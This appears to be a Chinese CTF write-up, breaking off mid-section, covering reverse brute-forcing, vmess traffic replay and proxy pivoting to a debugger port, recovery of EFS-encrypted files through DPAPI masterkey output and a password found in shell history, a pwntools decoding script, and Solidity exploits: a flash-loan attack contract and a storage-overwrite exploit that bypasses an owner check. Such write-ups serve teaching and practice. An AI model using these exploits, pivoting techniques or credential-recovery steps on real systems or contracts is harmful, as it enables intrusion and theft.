for (int j = 0; j < 0xffff; j++)
{
l = j, r = 0;
unsigned int sum = 0;
for (int i = 1; i <= 40; i++)
{
l += ((((((~(r << 3)) & (r >> 5)) | ((r << 3) & (~(r >> 5)))) ^ (~r)) & ((r << 3) ^ (r >> 5))) ^ ((~((~(sum + _80[sum & 4u])) | (~((r >> 3) & (r << 2))))) & (l | (~l))));
sum += 1932555628u;
r += ((((((~(l << 3)) & (l >> 5)) | ((l << 3) & (~(l >> 5)))) ^ (~l)) & ((l << 3) ^ (l >> 5))) ^ ((~((~(sum + _80[(sum >> 11) & 4u])) | (~((l >> 3) & (l << 2))))) & (r | (~r))));
}
if (l == 0xB7C3456F)
{
printf("%c%c", j & 0xff, (j >> 8) & 0xff);
return 0;
}
}
}附件更新限制了42字节 爆破最后两字节就好
MISC
ezPythonCheckin
authenticated mess & unauthenticated less
开头给了个pastebin的地址
pastebin.com/raw/sw2TFBLK
{
"log": {
"loglevel":"debug"
},
"inbounds": [
{
"port": 1080, // SOCKS 代理端口，在浏览器中需配置代理并指向这个端口
"listen": "127.0.0.1",
"protocol": "socks",
"settings": {
"udp": true
}
}
],
"outbounds": [
{
"protocol": "vmess",
"settings": {
"vnext": [
{
"address": "1.95.11.7", // 服务器地址，请修改为你自己的服务器 ip 或域名
"port": 40086, // 服务器端口
"users": [
{
"id": "f3a5cae3-6bd2-40d1-b13b-2cc3d87af2c7",
"security":"auto"
}
]
}
]
}
}
]
}进行一个流量的重放
根据文档
-20240319001147100.(null))
得知会进行重放检测，魔改vmess的aead部分里的authid.go把时间这部分去掉就可以了
-20240319001147367.(null))
然后写一个服务端的config.json
{
"inbounds": [
{
"port": 40086,
"protocol": "vmess",
"settings": {
"clients": [
{
"id": "f3a5cae3-6bd2-40d1-b13b-2cc3d87af2c7"
}
]
}
}
],
"outbounds": [
{
"protocol": "freedom"
}
]
}启动后把流量发到本地的40086端口同时抓包即可
-20240319001147545.(null))
从图床里下载得到原图，尾部有一个加密压缩包
密码是这张图片在pixiv对应的id:116921220
直接v2ray使用上面pastebin里的config.json
查看给的压缩包里面的dockerfile，知道内网有一个使用wrangler dev启动的edtunnel服务，根据docker网段fuzz得到服务地址为172.20.0.2:8787
wrangler调试器 127.0.0.1:9229
通过两层v2转发访问，因为v2链式代理搞不定（v2文档上写的可以chain proxy，但是我没做出来），所以用proxifier和proxychains实现套娃。
本地的9229端口->公网v2->内网v2edtunnel->内网v2edtunnel机器的127.0.0.1:9229端口
配置1
{
"log": {
"loglevel": "debug"
},
"inbounds": [
{
"port": 1080,
"listen": "0.0.0.0",
"protocol": "socks",
"settings": {
"udp": true
}
}
],
"outbounds": [
{
"protocol": "vmess",
"settings": {
"vnext": [
{
"address": "1.95.11.7",
"port": 40086,
"users": [
{
"id": "f3a5cae3-6bd2-40d1-b13b-2cc3d87af2c7",
"security": "auto"
}
]
}
]
}
}
]
}配置2
{
"log": {
"loglevel": "debug"
},
"inbounds": [
{
"port": 1081,
"listen": "0.0.0.0",
"protocol": "socks",
"settings": {
"udp": true
}
}
],
"outbounds": [
{
"protocol": "vless",
"settings": {
"vnext": [
{
"address": "172.20.0.2",
"port": 8787,
"users": [
{
"encryption": "none",
"id": "5e5e7b9a-a251-441b-a81b-9d5b8a8f9019"
}
]
}
]
},
"streamSettings": {
"network": "ws",
"tlsSettings": {
"disableSystemRoot": false
},
"wsSettings": {
"headers": {
"Host": "172.20.0.2:8787"
},
"path": "/?ed=2048"
},
"xtlsSettings": {
"disableSystemRoot": false
}
}
}
]
}-20240319001147676.(null))
# wsl
# 删除proxychains默认配置里的localnet 127.0.0.0/255.0.0.0
# socks5 192.168.240.xxx 1081
proxychains socat tcp-listen:9229,fork tcp-connect:127.0.0.1:9229-20240319001147831.(null))
chrome调试器连接localhost:9229（默认配置），抓取堆快照即可看到字符串里的flag。
cipher
cipher.vhd/新加卷/Users/Public/flag.jpg——efs加密
\Users\test\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
里有test用户的powershell历史记录
cd C:\users\test\Desktop\
.\test2
cd C:\Users\test\Documents
.\test2
ipconfig /all
ipconfig
ping 192.168.17.140
net user
net user john john@123 /add
net user john superman /add
net user mark superman /add
net user ronnie superman /add
net user judd superman /add
net user neil superman /add
net user
net user steve superman /add整个流程:https://tinyapps.org/docs/decrypt-efs-without-cert-backup
mark密码从上面历史记录得知为 superman
ciper /c
E flag.jpg
兼容性级别:
Windows XP/Server 2003
能够解密的用户:
mark(mark@DESKTOP-SJGKK59)
证书指纹: F4A8 3D8B 7C12 6A58 8FD0 F645 5563 3819 5C49 2C6D
未找到恢复证书。
无法检索密钥信息。
指定的文件无法解密。下一步
dpapi::capi /in:"Crypto\RSA\S-1-5-21-57498617-3506771283-2544733850-1003\20c5bf0952d52dd45d34bc8bfe70ab99_ad604774-3097-4029-9687-b5d30d381fad"结果
: 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {6f1eff2b-096a-4d63-8788-6cf1f45b9a18}
dwFlags : 00000000 - 0 ()
dwDescriptionLen : 0000001a - 26
szDescription : CryptoAPI 私钥
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : 00c958fec9285fc5b96dc6cf416459b9ecd6d74976e5d32047b107dd28aafa0d
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 5827cd075f64303ce29fb1c10b85da27d560ebd2971959c908069ff4a65d3b44
dwDataLen : 00000550 - 1360
pbData : 249d0af7ad4781445529932a6aec1a9295b7544179de19cf15cda337d4c0c72673fa5e7b1c0735d06ef3bd0901cdfa67dc01da3bee674a1c077206cf97a00f40eca4beb32574772cf7f7ff82749458b2fb128caa1b09f09dfcca02b53a773f72e9bf0643fd001d43f35409c42fc16a5253f9ca11592d9e1bb49f4383279b73c478309e3b85cd479222fc613f662a1c8d02a19baaf3e6d8efe36d8e92ec232e10fa841079c6504cde2354b50676ba9c990d6daa0f0d5127b253e848ad94f3167c68d26d612160af3ac496cd67ae4506d37e9346bf130562d46917739b8a08c42aae31a96d62458addb7d05e9b80b6f431e49ad0722ebc66ee922b62abcd1657062589f4d4645ab1158d66026a9a606a8d067693e3974c949bf9243e656d571a73ddcf5f6f233319251148082faa6e94907732e2c2ddcf20eca9ba0942f7b05d89e9f5399ab12c6189f0c3a60d821f771cd41dfa90bfbaad242204398b051f1a88a8cd72ff88c765acc5979a3e792844b57bfbd5d9c20fcdb7a77b8ea06c9a015abc505059689262678b56de3ab6dd724951809c99532dea27ef9471b372a6a68eb04a092caab3d185413629b3cd8840bc7527bd88581e932c02512c8f00b56aa3b0c4d21c9a38b56319cf76383befca594e8a8781aad0fae3d488f277719c455772c5db9c189acac206f173a742af68f77ed2da80245710e8192ccecb2f129af63d4b2fb503d2760893538d8c6f3f18bc1772bece330b7e9fda48fec1a9a6f41d5533f2eb2275002696e4dd9e55256cc5498bb4fb7bdb3a173ef70eb3dd395f14634b7d4cb1ec4913f45c217c2e8d31568fc5f05b679d3528f5c7ae0a598daf6d719749b0d54753b22cd6655b4d5d712c78e6f35130637b456cd63b89d431ed8a1cbdbff11f7ad342fd2eb16e6893d7fe3819d456e4d3a18c53b17e211967fd00ed9cbf923fcefc4d9deb3c0e83130cd028600ce322b3d604e8d8294f86d0b0ad3927a2b52ac486c0d6f9c9ac9186c54062604184d8455bfee9d43e51ca2798d03f3d55fd13c385f3adc7557922f60973bdb6e5f69eda09408a9e926669db7c5691f41f19c673914a2278f1eaf17e4d5e8b77c14198689306eaa8048afaf76570ccebc435cf46f6559a7eca0f4408dd33ea086fd3ba7c76b6f211177580361f79090faf5476a9afd93268ef0eef440abef6f8b9fcc571b508d1b939cdd08a529cc027cde611c6e4901af0d5b1c41956380113e4daa3250f88775672c682bf6b94941a9757fe1344628b6a6005c534af2433af13afb1853a83f911523e603246ce23ba4a90c33f530c6db4c58c81405568601691acdbc430da582c129f9173b73e762e9afb0f40bc80dddd951f51f11756c6d3647b0e9907110f2512ee7571665c639e0e5f304cfb056de2bbfa5b22e11bd217410add7678ec51228f9be71c7d650f0afde112a74a608c6701562e651ee350d43725d21a9e5a23eaaaff7a5216dbe11521380b433db6204037a3b432201ba2c9c08de011c72491d2563fc2de7c3521985148ec47165b36c4d580cbb5d4b05eed96c895b2779f1bfe425450366a8643967441d3571b95cce8a4646f0fba45c7d1260d734a38b9de69270a28bfda810f0d841c8bf7fd9b78ab2118f6b16153cc7a2120aea70d695da3821118b8a8bb327c310a10501356f1eb9725f76e587dcb2f6475ae38d30a392008e8e322c1c42468913029c599b4b908f6a860de7b0127a00d264b6062f0754e2b54095633a5aa90eca027826505608cf578b7ff608c3a8c9a3856cb82467b3732ee0c96c8ca831326980ab4bcf3ae46e1a0f5737365fa7abfa28dd9fe2ce4593343900ae88c741aefc2f377d8e4e64d0b8de3424298ec47fee6532194556eb94e9d9b5af9a495499cdaeaee4607aff5d7632977f878
dwSignLen : 00000040 - 64
pbSign : b1ca3f9973950b10cd8dfe03acc0db2452ff6795b0743627b7f191ebbfc8b948fad41b7c3365eeed5e593f74fca6d06427cc00db39d953de1c73dc9a6b57d7e1
pExExportFlag :
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {6f1eff2b-096a-4d63-8788-6cf1f45b9a18}
dwFlags : 00000000 - 0 ()
dwDescriptionLen : 00000018 - 24
szDescription : Export Flag
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : 3b68101f80e22cde89fbceb62f9be9b4a900bcdb10d0592818decc14445fe5b4
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 4f605d7628a5fcaf765af4e189656889f8602fbc363a812365fd43a783fac715
dwDataLen : 00000010 - 16
pbData : 1b222249da6e681202835473b6374910
dwSignLen : 00000040 - 64
pbSign : 175a56d36d4c933d1c1e945beb2a90aa6bc7ffbe3e1c6475dc15935fe961344806e8ec6dd783d98018ea6213c49a7b9fee080b3c4d5a30ea9d0e3454dea7e582masterkey
6f1eff2b-096a-4d63-8788-6cf1f45b9a18然后是下一步
[masterkey] with password: superman (normal user)
key : 168f6183d9d7d4aeb3b21aed8d683d1593997723050ec47619c6b9650fd54e49ef0c31707f22e1b189bb65a0b5a96061fa95f0415b3fa8429598f94a52a80756
sha1: f354189efecfb4629ae66ae862ad4fa0ae1fdaa3后面的话可能是FEK相关考点，但是还没搞出来就一把梭了
其实只需要挂载然后使用Advanced EFS Data Recovery点几下就恢复了，唯一需要知道的就是mark的密码，来自test用户的powershell历史记录
no more taowa
已知套娃方式
各种base
rgba lsb
rgba msb
5位数字压缩包爆破
01转二维码
rgba像素值转ascii
整体倒置
逐字节二进制倒置
逐字节十六进制倒置同时隐写可以自动判断，别的简单搓搓即可，每一轮根据特征人脑判断隐写类型，然后输入需要执行的方法
加了一堆不太好看的自动化判断，但方便就完事了
最终exp
from pwn import *
from base64 import b32decode as base32dec
from base64 import b64decode as base64dec
from base64 import b85decode as base85dec
from base58 import b58decode as base58dec
import magic
from hashlib import md5
import base64
import math
from PIL import Image
from pyzbar.pyzbar import decode
from Crypto.Util.number import *
import os
import subprocess
import pyzipper
import struct
def judge_img(img):
width, height = img.size
if img.getpixel((width - 1, height - 1)) == (0, 0, 0, 0):
print("自动执行col2a")
decrypted_data = col2a(img)
length = struct.unpack('>I', decrypted_data[:4])[0]
return decrypted_data[4:length + 4]
else:
sig = ""
for x in range(width):
for a in range(3):
col = img.getpixel((x, 0))[a]
sig += str((col & 0x80) >> 7)
if (sig.replace("0", "") != ""):
print("自动执行msb")
decrypted_data = msb(img)
length = struct.unpack('>h', decrypted_data[:2])[0]
return decrypted_data[2:length + 2]
else:
print("自动执行lsb")
decrypted_data = lsb(img)
length = struct.unpack('>h', decrypted_data[:2])[0]
return decrypted_data[2:length + 2]
def scanqr(img):
decocdeQR = decode(img)
return decocdeQR[0].data.decode('ascii')
def b2qr(data):
bina = data.decode()
qrlen = int(math.sqrt(len(bina)))
pic = Image.new("RGB", (qrlen, qrlen))
i = 0
for y in range(0, qrlen):
for x in range(0, qrlen):
if bina[i] == '0':
pic.putpixel([x, y], (0, 0, 0))
elif bina[i] == '1':
pic.putpixel([x, y], (255, 255, 255))
i = i + 1
qr_text = scanqr(pic)
print(qr_text)
# 二维码后一定是base64
decrypt_data = base64.b64decode(qr_text)
print(decrypt_data)
return decrypt_data
def col2a(img):
width, height = img.size
col_res = []
for y in range(height):
for x in range(width):
col = img.getpixel((x, y))
for num in col:
col_res.append(num)
return bytes(col_res)
def lsb(img):
width, height = img.size
col_res = ""
for y in range(height):
for x in range(width):
col = img.getpixel((x, y))
for num in col:
col_res += str(num & 1)
return long_to_bytes(int(col_res, 2))
def msb(img):
width, height = img.size
col_res = ""
for y in range(height):
for x in range(width):
col = img.getpixel((x, y))
for num in col:
col_res += str((num & 0x80) >> 7)
return long_to_bytes(int(col_res, 2))
def b64(data):
try:
base_text = base64dec(data.decode())
except:
base_text = base64dec(data.decode()[::-1])
return base_text
def b32(data):
try:
base_text = base32dec(data.decode())
except:
base_text = base32dec(data.decode()[::-1])
return base_text
def b58(data):
try:
base_text = base58dec(data.decode())
except:
base_text = base58dec(data.decode()[::-1])
return base_text
def b85(data):
try:
base_text = base85dec(data.decode())
except:
base_text = base85dec(data.decode()[::-1])
return base_text
def b16(data):
return bytes.fromhex(data.decode())
def modify_zip(filename):
target_bytes = b'\x50\x4b\x05\x06' # 目标字节序列
with open(filename, 'rb') as f_in:
data = f_in.read()
index = data.find(target_bytes)
with open(filename, 'wb') as f_out:
f_out.write(data[:index + 22])
def zip_crack(filename: str):
# 生成哈希文件
hash_file = f"{filename}.hash"
command_zip2john = f"zip2john {filename} > {hash_file}"
os.system(command_zip2john)
# 构建密码爆破命令
john_command = [
"john",
"--format=zip",
"--wordlist=dic.txt",
hash_file,
]
result = subprocess.run(john_command, capture_output=True, text=True)
if "Loaded 1 password hash" in result.stdout:
# 如果加载了密码哈希，则执行带有 "--show" 选项的命令
john_show_command = ["john", hash_file, "--show"]
show_result = subprocess.run(
john_show_command, capture_output=True, text=True)
password = show_result.stdout.split(':')[1]
elif "password hashes cracked" in result.stdout:
password = result.stdout.split(':')[1]
with pyzipper.AESZipFile(filename) as zf:
zf.setpassword(password.encode())
for file in zf.namelist():
with zf.open(file) as f:
return f.read()
def revb(data):
data = bytearray(data)
for i in range(len(data)):
# 将字节转换成二进制字符串，倒置后再转换回字节
binary_string = bin(data[i])[2:].zfill(8) # 转换成8位的二进制字符串
reversed_binary_string = binary_string[::-1] # 倒置二进制字符串
reversed_byte = int(reversed_binary_string, 2).to_bytes(
1, byteorder='big') # 转换回字节
data[i] = reversed_byte[0]
return bytes(data)
def reva(data):
return data[::-1]
def revc(data):
result = b''
for i in range(0, len(data.hex()), 2):
result += bytes.fromhex(data.hex()[i:i + 2][::-1])
return result
def rep(data):
rep1 = bytes.fromhex(input("替换1:"))
rep0 = bytes.fromhex(input("替换0:"))
data = data.replace(rep1, b'1')
data = data.replace(rep0, b'0')
return data
def main():
mime = magic.Magic(mime=True)
filename = "attachment"
with open(filename, 'rb') as file:
data = file.read()
print(data[:200])
while b'flag' not in data:
try: # 判断函数名称输入是否正确
file_type = mime.from_buffer(data).split("/")[1]
if file_type == "png":
print("图片类型")
img = Image.open(filename)
decrypted_data = judge_img(img)
print("解密结果：", decrypted_data[:200])
elif file_type == "zip":
modify_zip(filename)
print("zip类型，自动执行爆破")
decrypted_data = zip_crack(filename)
elif file_type == "octet-stream":
if (data.startswith(b'\x91\x0A\x72\xE2\xB0\x50\x58\x50') or data.startswith(b'\n\xD2\xC0\x20\x28\x00\x80\x00')
or data.startswith(b'\x86\xFA\xF6\x86\xE6\xDE')):
print("已识别到png/zip/flag的revb类型，自动执行")
decrypted_data = eval("revb(data)")
elif data.startswith(b'\x82`B\xaeDNEI') or data.endswith(b'\x00\x14\x04\x03KP') or data.endswith(b'{galf_a'):
print("已识别到png/zip/flag的reva类型，自动执行")
decrypted_data = eval("reva(data)")
elif data.startswith(b'111111111111111111111111111111'):
print("已识别到二维码类型，自动执行")
decrypted_data = b2qr(data)
else:
function_name = input("未知类型，请输入要使用的解密函数名：").strip()
decrypted_data = eval(function_name + "(data)")
elif file_type == "plain":
table = set(data)
if table == {48, 49}: # b'01'
print("已识别到二维码，自动执行")
decrypted_data = b2qr(data)
elif data.startswith(b'89504E470D') or data.startswith(b'504B03040') or data.startswith(b'615F666C'):
print("已识别png/zip文件头，自动执行")
decrypted_data = b16(data)
else:
print("明文字符种类: ", end='')
for chara in table:
print(chr(chara), end="")
print()
function_name = input("文本类型，请输入要使用的解密函数名：").strip()
decrypted_data = eval(function_name + "(data)")
else:
print("未知类型，请输入要使用的解密函数名：")
function_name = input()
decrypted_data = eval(function_name + "(data)")
print("解密结果：", decrypted_data[:200])
data = decrypted_data
if type(data) == type("123"):
data = data.encode()
filename = "tmp" + "." + mime.from_buffer(data).split("/")[1]
with open(filename, 'wb') as f:
f.write(data)
except NameError or TypeError:
print("函数名称输入错误！")
pass
else:
# flag开头标志取决于一开始发送的名字
flag = f"a_{data.decode().split('_')[1]}"
print(flag)
r.sendline(flag.encode())
def get_taowa():
r.recvuntil(b"-----BEGIN MATRYOSHKA MESSAGE-----\n")
taowa = r.recvuntil(b"-----END MATRYOSHKA MESSAGE-----", drop=True)
with open("attachment", "wb") as f:
f.write(base64.b64decode(taowa))
f.close()
r = remote("1.95.11.7", 30721)
r.recvuntil(b"receive the flag")
r.sendline(b"a")
for i in range(25):
get_taowa()
print(f"-------第{i}轮-------")
main()
r.interactive()Blockchain
Ezswap
代币合约，给了两个池子两种代币。
pool有flash函数，但是池子利率配置有问题，直接打闪电贷，出了。
攻击合约如下（Mz.flash()）：
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "./Pool.sol";
import "./Factory.sol";
import "./oracle/PoolOracle.sol";
import {IFlashCallback} from './interfaces/callback/IFlashCallback.sol';
contract Token is ERC20 {
address private owner;
address private pool;
bool flag = true;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {
owner = msg.sender;
}
function mint(address to, uint256 amount) public onlyOwner{
_mint(to, amount);
}
function burn(address to, uint256 amount) public onlyOwner{
_burn(to, amount);
}
}
contract Setup {
Factory public factory;
Pool public pool;
Pool public pool2;
bool public flag = true;
bool public success = false;
Token public token0 ;
Token public token1 ;
function addManager(address manager) external {
factory.addNFTManager(manager);
}
function airdroop() public {
if(flag){
flag = false;
token1.mint(msg.sender,0.3 ether);
}
}
constructor() public {
token0 = new Token("token0", "TKN1");
token1 = new Token("token1", "TKN2");
PoolOracle oracle = new PoolOracle();
oracle.initialize();
factory = new Factory(0, address(oracle));
factory.addNFTManager(address(this));
pool = Pool(factory.createPool(address(token0), address(token1), 10));
pool2 = Pool(factory.createPool(address(token0), address(token1), 8));
token0 = Token(address(pool.token0()));
token1 = Token(address(pool.token1()));
token0.mint(address(pool), 10000 ether);
token1.mint(address(pool), 10000 ether);
token0.mint(address(pool2), 101 ether);
token1.mint(address(pool2), 0.5 ether);
pool.unlockPool(1 * 2 ** 96);
}
function check() public {
if (token0.balanceOf(msg.sender) > 9999 && token1.balanceOf(address(pool2)) == 0.5 ether && token0.balanceOf(address(pool2)) == 101 ether){
success = true;
}
}
function isSolved() public returns (bool) {
return success == true;
}
}
contract Mz {
Factory public factory;
Pool public pool;
Pool public pool2;
Token public token0 ;
Token public token1 ;
Setup public setup;
constructor() public {
pool = Pool(0x8250C26a0a2892E2184419fa83c8d612167ba3c8);
pool2 = Pool(0x42cF4B69A6a6c8bdCC5a1b6cE58c45ccC97B0D64);
token1 = Token(0xEc30D38D402933Dbf5Bb89a8059DefEe3F75Af96);
token0 = Token(0x4116B1bE9d69aEBb86a3ee51e8bbd445D36AA621);
setup = Setup(0xf8fbB104729ace973FD529351aE720dDaB9becEE);
}
function flash() public{
//abi.encode();
pool.flash(address(this), 10000, 0, "1");
}
function flashCallback(
uint256 feeQty0,
uint256 feeQty1,
bytes calldata data
) external{
setup.check();
token0.transfer(address(pool), 10000);
}
}DubheCalc
nc 1.95.0.101 20000
rpc: 1.95.0.101 28545
faucet: 1.95.0.101 28080
合约如下：
contract dubhecalc{
bytes32 public flag="TSCTF{THIS_IS_A_FAKEFLAG}";
function(uint,uint) internal private calcImpl = addImpl;
address public owner;
uint public solved;
uint[] public stack;
address[] public vip;
struct OPCODE{
uint256 opcode;
uint256 weis;
}
modifier onlyowner(){
require(msg.sender==owner);
_;
}
function displayvm(uint opcode,uint256 data,uint256 data2)public payable{
OPCODE op;
op.opcode=opcode;
op.weis=msg.value;
if(msg.value>0){
vip.push(msg.sender);
}
if(opcode==0x60){
calcImpl=pushImpl;
calcImpl(data,data2);
}
else if(opcode==0x01){
calcImpl = addImpl;
calcImpl(data,data2);
}
else if(opcode==0x02){
calcImpl=mulImpl;
mulImpl(data,data2);
}
else if(opcode==0x03){
calcImpl=subImpl;
calcImpl(data,data2);
}
else if(opcode==0x04){
calcImpl=divImpl;
divImpl(data,data2);
}
else{
calcImpl(data,data2);
}
}
function pushImpl(uint x,uint y)private{
stack.push(x);
stack.push(y);
}
function addImpl(uint x,uint y)private{
stack.push((x+y));
}
function subImpl(uint x,uint y)private{
stack.push((x-y));
}
function mulImpl(uint x,uint y)private{
stack.push((x*y));
}
function divImpl(uint x,uint y)private{
stack.push((x/y));
}
function checkPrivImpl(uint t)private returns(uint x,uint y,uint z){
assembly {
x := calldataload(t)
y := calldataload(add(t, 0x20))
z := calldataload(add(t, 0x40))
}
require(x>0);
require(y>0);
require(z<2**255);
return (x,y,z);
}
function upgrade(address target,uint gaslimit,uint balance)public onlyowner{
address temp=target;
uint gass=gaslimit;
require(target!=address(0));
address(temp).delegatecall.gas(gaslimit+0x1000)("");
assembly{
stop
}
}
function() external{
}
}
contract challenge{
dubhecalc chall;
constructor()public{
chall = new dubhecalc();
}
function isSolved()public returns(bool){
return chall.owner()==address(0xd5b6e);
}
}可以调用的只有upgrade和displayvm两个函数。
upgrade有owner限制，只能先displayvm。
OPCODE op;
op.opcode=opcode;
op.weis=msg.value;
这里的op存在变量覆盖，会覆盖到flag变量和下面的值。
使用value来覆盖跳转函数的地址, clac的字节码如下：
0x6080604052600436106100825763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166350fa89428114610091578063799320bb146100ba5780638804306a146100e1578063890eba68146101155780638da5cb5b1461012a578063a94c4ccf1461013f578063dc9031c414610150575b34801561008e57600080fd5b50005b34801561009d57600080fd5b506100b8600160a060020a0360043516602435604435610168565b005b3480156100c657600080fd5b506100cf6101d1565b60408051918252519081900360200190f35b3480156100ed57600080fd5b506100f96004356101d7565b60408051600160a060020a039092168252519081900360200190f35b34801561012157600080fd5b506100cf6101ff565b34801561013657600080fd5b506100f9610205565b6100b8600435602435604435610220565b34801561015c57600080fd5b506100cf6004356103ac565b6001546000908190680100000000000000009004600160a060020a0316331461019057600080fd5b5083905082600160a060020a03821615156101aa57600080fd5b604051600160a060020a03831690611000860190602080820191600091818686f450505050005b60025481565b60048054829081106101e557fe5b600091825260209091200154600160a060020a0316905081565b60005481565b600154680100000000000000009004600160a060020a031681565b600083815534600181905581101561028257600480546001810182556000919091527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b01805473ffffffffffffffffffffffffffffffffffffffff1916331790555b83606014156102b7576001805467ffffffffffffffff19166103cb17908190556102b2908490849063ffffffff16565b6103a6565b83600114156102e7576001805467ffffffffffffffff191661040017908190556102b2908490849063ffffffff16565b836002141561032557610427600160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506102b28383610427565b8360031415610355576001805467ffffffffffffffff191661044e17908190556102b2908490849063ffffffff16565b836004141561039357610475600160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506102b28383610475565b6001546103a6908490849063ffffffff16565b50505050565b60038054829081106103ba57fe5b600091825260209091200154905081565b6003805460018181018355600083905260008051602061049f8339815191529182019490945581549384019091559190910155565b60038054600181018255600091909152910160008051602061049f83398151915290910155565b60038054600181018255600091909152910260008051602061049f83398151915290910155565b60038054600181018255600091909152910360008051602061049f83398151915290910155565b6003818381151561048257fe5b82546001810184556000938452602090932091900491015550505600c2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85ba165627a7a7230582092c7cbc0edf0f9f47e090663bc5d3ef4d22ec390fb2bafdd926a55a8e0fb958f0029相关地址如下：
// Decompiled by library.dedaub.com
// 2024.03.17 04:15 UTC
// Compiled using the solidity compiler version 0.4.7<=v<0.5.9
// Data structures and variables inferred from the use of storage instructions
uint256 stor_0; // STORAGE[0x0]
uint256 ___function_selector__; // STORAGE[0x1]
uint256 stor_2; // STORAGE[0x2]
uint256[] array_3; // STORAGE[0x3]
uint256[] array_4; // STORAGE[0x4]
function function_selector() public nonPayable {
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function function_selector(bytes4 function_selector, uint256 varg1, uint256 varg2, uint256 varg3) public payable {
MEM[64] = 128;
if (msg.data.length >= 4) {
if (uint32(function_selector >> 224) == 0x50fa8942) {
require(!msg.value);
require(msg.sender == address(___function_selector__ >> 64));
require(bool(address(address(varg1))));
v0 = address(varg1).delegatecall(MEM[MEM[64]:MEM[64] + 32], MEM[MEM[64]:MEM[64]]).gas(varg2 + 4096);
exit;
} else if (0x799320bb == uint32(function_selector >> 224)) {
require(!msg.value);
return stor_2;
} else if (0x8804306a == uint32(function_selector >> 224)) {
require(!msg.value);
assert(varg1 < array_4.length);
return address(array_4[varg1]);
} else if (0x890eba68 == uint32(function_selector >> 224)) {
require(!msg.value);
return stor_0;
} else if (0x8da5cb5b == uint32(function_selector >> 224)) {
require(!msg.value);
return address(___function_selector__ >> 64);
} else if (0xa94c4ccf == uint32(function_selector >> 224)) {
stor_0 = varg1;
___function_selector__ = msg.value;
if (0 < msg.value) {
array_4 = array_4.length + 1;
MEM[0] = 4;
array_4[array_4.length] = msg.sender | bytes12(array_4[array_4.length]);
}
if (96 != varg1) {
if (1 != varg1) {
if (2 != varg1) {
if (3 != varg1) {
if (4 != varg1) {
// Unknown jump to Block 0xab9. Refer to 3-address code (TAC);
} else {
___function_selector__ = 0x475 | bytes24(___function_selector__);
assert(bool(varg3));
array_3 = array_3.length + 1;
array_3[array_3.length] = varg2 / varg3;
}
} else {
___function_selector__ = 0x44e | bytes24(___function_selector__);
// Unknown jump to Block 0xab9. Refer to 3-address code (TAC);
}
} else {
___function_selector__ = 0x427 | bytes24(___function_selector__);
array_3 = array_3.length + 1;
array_3[array_3.length] = varg2 * varg3;
}
} else {
___function_selector__ = 0x400 | bytes24(___function_selector__);
// Unknown jump to Block 0xab9. Refer to 3-address code (TAC);
}
} else {
___function_selector__ = 0x3cb | bytes24(___function_selector__);
}
exit;
} else if (0xdc9031c4 == uint32(function_selector >> 224)) {
require(!msg.value);
assert(varg1 < array_3.length);
return array_3[varg1];
}
}
fallback();
}可以跳0x190/0x1aa过onlyowner判断：
-20240319001253922.(null))
跳过去通过委托调用修改slot1即可。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console2} from "forge-std/Script.sol";
interface Chall {
function isSolved() external returns (bool);
}
interface Inner {
function flag() external returns (bytes32);
function owner() external returns (address);
function solved() external returns (uint);
function stack(uint) external returns (uint);
function vip(uint) external returns (address);
function displayvm(uint, uint, uint) external payable;
function upgrade(address, uint, uint) external;
}
contract CounterScript is Script {
Inner i;
Chall c;
function setUp() public {
vm.createSelectFork("http://1.95.0.101:28545/");
c = Chall(0xf2b548756F5D09fF5cBd39aeE2B066635C8B2a57);
i = Inner(0x70d499653B5628008bef57DEee988157fE2890a5);
// self: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
}
function run() public {
vm.startBroadcast(1); // priv key: 1
Exp e = new Exp();
uint256 e_addr = uint256(uint160(address(e)));
i.displayvm{value: 0x1aa}(0, e_addr, 0);
// address owner = i.owner();
console2.log("isSolved", c.isSolved());
}
}
contract Exp {
fallback() external payable {
assembly {
sstore(1, 0xd5b6e0000000000000000)
stop()
}
}
}CRYPTO
ezcrc
5组交互机会，要拿一次flag的crc，还可以自行传四次明文。
poly、in、out都随机。一种思路是通过四次交互拿到poly、in、out参数，然后直接求解flag。
求poly可以传b'\x80'和b'\x00'进去，将得到的结果异或即可得到poly。后续in和out该怎么求呢
经典CRC问题，整个过程可以理解为多项式商环上的下列运算
-20240319001350545.(null))
IN*x^o+OUT可以看作一个常量K，所以理论上来说向服务器要两组数据就可以求出这个常量，数据长度最好等于flag长度，这样的话式子中的o变量是与flag相等的。flag的长度是大于256的，而我们有80bit的已知量，可以用下式恢复flag包裹里面的内容
-20240319001350697.(null))
但是麻烦的点也在于要消除多余字符的影响，在转换成商环上的量的时候有点逻辑问题没找出来，实操下来感觉总是有点bugde不出来，好奇怪啊，先扔个代码
测试样例（长度小于32的字节串），也可以随意生成
from Crypto.Util.number import *
import random
flag = b'DubheCTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}'
